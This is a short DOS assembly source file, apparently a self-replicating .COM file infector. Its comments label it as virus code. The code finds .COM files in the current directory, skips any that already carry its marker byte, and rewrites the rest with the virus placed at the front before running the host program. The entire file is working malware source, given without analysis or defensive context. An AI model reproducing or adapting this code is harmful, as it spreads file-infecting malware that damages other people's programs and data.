2022-08-21 09:07:57 +00:00
tic seg ment
org 100h
assume cs : tic , ds : tic , es : tic
;
len equ offset last - 100h ;LENGTH OF VIRUS CODE
;
start: mov bx , 0fh ;KLUDGE TO AVOID MEMALLOC ERROR
mov ah , 4ah
int 21h
mov dx , es
add dh , 10h
mov es , dx ;PROGRAM CODE WILL RUN HERE
push dx ;SET UP FOR FAR RETURN
push si
mov ah , 26h ;CREATE NEW PSP
int 21h
mov di , si
mov si , offset last
push si
mov ch , 0feh
rep movsb ;MOVE PROGRAM CODE UP
dec cx ;=FFFF
pop di
mov dx , offset file
mov ah , 4eh ;FIND FIRST .COM FILE
jmp short find
retry: mov ah , 4fh ;FIND NEXT
find: int 21h
jc nofile ;NO (MORE) FILES
mov dx , 9eh ;FILE NAME IN DTA
mov ax , 3d02h ;OPEN FILE
int 21h
xchg ax , bx ;1-BYTE MOVE OF AXBX
mov dx , di ;END OF VIRUS CODE
mov ah , 3fh ;READ FILE DATA (CX=FFFF)
int 21h ;READ FILE AFTER VIRUS CODE
add ax , len ;LENGTH OF VIRUS+FILE
cmp byte ptr [ di ], 0bbh ;CHECK IF ALREADY INFECTED
je retry ;TRY AGAIN
push ax
xor cx , cx
mov ax , 4200h ;RESET FILE POINTER
cwd ;DX=0
int 21h
pop cx
mov dh , 1
mov ah , 40h ;WRITE INFECTED CODE BACK
int 21h
;
nofile: push es ;GO RUN PROGRAM
pop ds
retf
;
file db '*.COM' , 0 ;SEARCH FOR .COM FILES
last db 0c3h ;STANDALONE VIRUS CODE JUST RETURNS
tic ends
end start
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